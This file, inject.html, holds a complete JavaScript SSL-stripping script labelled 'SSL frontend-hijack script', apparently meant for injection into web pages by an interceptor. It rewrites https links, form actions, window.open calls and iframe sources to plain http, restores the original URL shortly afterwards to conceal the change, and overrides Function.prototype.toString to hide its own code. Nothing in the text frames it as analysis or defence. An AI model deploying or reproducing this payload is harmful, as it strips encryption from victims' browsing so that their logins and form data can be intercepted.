inject.html

<script>
/**
 * SSL frontend-hijack script
 *   @version 0.1.1
 *   @update 2014/10/28
 */
(function() {
    // for ie6,7,8
    var DOM_3 = !!window.addEventListener;

    function $bind(target, event, callback) {
        if (DOM_3) {
            target.addEventListener(event, callback);
        }
        else {
            target.attachEvent('on' + event, callback);
        }
    }

    function $operator(fn, thiz, $) {
        // standard
        if ('apply' in fn) {
            return fn.apply(thiz, $);
        }
        // functor (old-ie)
        switch ($.length) {
            case 0 : return fn();
            case 1 : return fn($[0]);
            case 2 : return fn($[0], $[1]);
            case 3 : return fn($[0], $[1], $[2]);
            default: return fn($[0], $[1], $[2], $[3]);
        }
    }

    //
    // url transform
    //
    var R_HTTPS = /^https:/i;
    var R_FAKE = /[?&]zh_cn#?/;
    var FAKE_SYMBOL = 'zh_cn';


    function isFakeUrl(url) {
        return R_FAKE.test(url);
    }

    function isHttpsUrl(url) {
        return url && R_HTTPS.test(url);
    }

    function downgradeUrl(url) {
        // change protocol, and make a mark
        return url.replace(R_HTTPS, 'http:') +
                    (/\?/.test(url) ? '&' : '?') + FAKE_SYMBOL;
    }


    //
    // Hook System
    //
    var _hasOwnProperty = Object.prototype.hasOwnProperty;  // for old-IE

    function hook(ns, key, factory) {
        if (!_hasOwnProperty.call(ns, key)) {
            return false;
        }
        var oldFn = ns[key];
        var newFn = factory(oldFn);
        newFn._str_ = oldFn + '';
        ns[key] = newFn;
        return true;
    }

    // hidden source code
    function toString_factory(oldFn) {
        return function() {
            return this._str_ || oldFn.apply(this, arguments);
        };
    }
    hook(Function.prototype, 'toString', toString_factory);
    hook(Function.prototype, 'toSource', toString_factory);

    //
    // hook window.open('https://...')
    //
    function winopen_factory(oldFn) {
        return function(url) {
            if (isHttpsUrl(url)) {
                arguments[0] = downgradeUrl(url);
            }
            return $operator(oldFn, this, arguments);
        };
    }

    if (window.Window) {
        hook(Window.prototype, 'open', winopen_factory);        
    }
    hook(window, 'open', winopen_factory);


    //
    // Event Hook
    //
    function cheat(el, urlProp) {
        var url = el[urlProp];
        el[urlProp] = downgradeUrl(url);

        // restore later
        setTimeout(function() {
            el[urlProp] = url;
        }, 100);
    }

    // hook <a href="https://...">
    $bind(document, 'click', function(e) {
        e = e || event;
        var el = e.target || e.srcElement;
        do {
            if (el.tagName == 'A') {
                if (el.protocol == 'https:') {
                    cheat(el, 'href');
                }
            }
        } while(el = el.parentNode);
    });

    // hook <form action="https://...">
    if (DOM_3) {
        $bind(document, 'submit', submitHandler);
    }
    else {
        setInterval(function() {
            var forms = document.getElementsByTagName('form');

            for(var i = forms.length - 1; i >= 0; i--) {
                var form = forms[i];
                if (!form._hooked_) {
                    form._hooked_ = true;
                    $bind(form, 'submit', submitHandler);
                }
            }
        }, 500);
    }

    function submitHandler(e) {
        e = e || event;
        var el = e.target || e.srcElement;

        if (isHttpsUrl(el.action)) {
            cheat(el, 'action');
        }
    }


    //
    // monitor <iframe src="https://...">
    //
    function scanFrames(el) {
        var frames = document.getElementsByTagName('iframe');
        for (var i = 0, n = frames.length; i < n; i++) {
            var el = frames[i];
            if (isHttpsUrl(el.src)) {
                el.src = downgradeUrl(el.src);
            }
        }
    }

    var timer = setInterval(scanFrames, 20);

    $bind(window, 'load', function() {
        clearInterval(timer);
        setInterval(scanFrames, 200);
    });
})();
</script>